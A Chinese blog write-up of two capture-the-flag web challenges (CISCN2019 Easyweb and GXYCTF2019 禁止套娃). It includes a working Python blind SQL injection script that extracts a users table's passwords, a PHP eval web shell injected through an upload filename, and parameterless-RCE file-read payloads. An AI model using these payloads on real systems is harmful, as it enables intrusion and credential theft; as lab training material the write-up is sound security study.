[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃

[CISCN2019 总决赛 Day2 Web1]Easyweb


0X01 前言

现在开始记录BUUCTF上的web了,每周认真刷一些题,了解一些知识点和套路,不要让自己这么菜。。

0X02 正文

发现是一个登录界面,先从登录框fuzz一下,看能否万能密码通过,无果。
一般直接是登录框,肯定隐藏这其他目录或者是源码泄露,所以开始扫目录
dirsearch -u "http://1606db13-c732-47b1-8026-e57a5eeee572.node3.buuoj.cn/" -e u啥也没扫到,原来是请求频繁了,没得办法,只能burpsuite线程变小时间延迟变高,再来扫一遍目录,发现了robots.txt
在这里插入图片描述
F12查看发现有image.php,其实这里很奇怪,一个照片单独用php来显示出来,并且还有id=4,所以我们这里看一下image.php.bak,发现源码泄露,这里贴一下源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

这里代码比较短,我们仔细审计一下:

这里将idpath都做了addslashes处理:
在这里插入图片描述
idpath转义,我们接着分析:

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

idpath存在数组中的字符串给清空,在来看核心代码:

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");

这个时候其实是没有任何过滤的,试想这是我们id=\0,则在addslashes后变为id=\\0,随后将\0其清空,那么这是id=\,正好可以使单引号逃逸出来,变成:

$result=mysqli_query($con,"select * from images where id=' \' or path='   {$path}'");

可以看到现在id的值为\' or path=,所以path就可以进行盲注了。贴下盲注脚本:

import requests

url = "http://1606db13-c732-47b1-8026-e57a5eeee572.node3.buuoj.cn/image.php"
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
        #payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #users
        #payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #password
        payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'id':'\\0',
            'path':payload
        }
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

得到了password,直接登录后发现是一个上传页面:
在这里插入图片描述
先传个一句话gif探探路子:
在这里插入图片描述
发现貌似像一个PHP日志文件,路径也给出来了,先去看看。
在这里插入图片描述
这里是PHP文件,而且直接把我们的filename挂到php内容里了,前几天正好看到一个传一句话直接到日志文件,那我们这里也尝试一下,将filename改成<?php eval($_POST['cmd']);?>:
在这里插入图片描述
发现过滤了PHP,我们知道在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<?= ?>相当于<?php echo >,这个时候把短标签试试,<?= eval($_POST['cmd']);?>,成功执行:
在这里插入图片描述
接下里直接蚁剑连接即可,flag在根目录下。

[GXYCTF2019]禁止套娃

又是啥也没有系列,看看HTTP头,啥也没有,直接开扫,发现git文件泄露githack把源码扒下来:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

我们来看一下这个正则,(?R)是引用当前表达式,而(?R)?可以引用也可以不引用了,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了,这里可能就要比较骚的姿势了。

我们先要看一下本目录的文件,scandir('.');,但是如何得到这个.呢?搜索资料后发现localeconv()函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
在这里插入图片描述
current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了在这里插入图片描述
发现就flag.php就在当前目录,如何得到倒数第二个文件,这里得去翻文档了。
array_reverse() 以相反的元素顺序返回数组
array_flip() 交换数组的键和值
array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

<?php
$arr1 = array('a','b','c','d','e');
print_r(array_rand(array_flip($arr1)));
?>

这样会在数组中随机得到数组的值,这里禁了get_file_contents,我们可以使用readfile或者highlight_file()来读取,构造payload:
?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));在这里插入图片描述
可能这里看着有点绕,可以使用session_id()来进行任意文件读取,如何利用?
在这里插入图片描述
session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:
在这里插入图片描述

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值